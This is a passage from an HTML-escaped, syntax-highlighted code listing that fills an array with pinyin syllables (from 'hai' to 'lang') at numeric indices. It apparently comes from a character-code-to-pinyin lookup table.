&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17759&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17752&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"han"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17733&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17730&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17721&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"he"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17703&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hei"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17701&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hen"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17697&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"heng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17692&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17683&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17676&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17496&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hua"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17487&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"huai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17482&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"huan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17468&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"huang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17454&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17433&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"hun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17427&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"huo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17417&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ji"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17202&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jia"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;17185&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jian"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16983&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jiang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16970&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jiao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16942&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jie"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16915&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jin"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16733&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jing"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16708&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jiong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16706&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jiu"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16689&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ju"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16664&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"juan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16657&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jue"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16647&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"jun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16474&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ka"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16470&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16465&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16459&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16452&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kao"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16448&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ke"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16433&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ken"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16429&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"keng"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16427&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kong"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16423&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kou"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16419&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"ku"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16412&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kua"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16407&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kuai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16403&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kuan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16401&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kuang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16393&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kui"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16220&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kun"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16216&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"kuo"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16212&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"la"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16205&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lai"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16202&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lan"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alphaArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;16187&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="string"&gt;"lang"&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
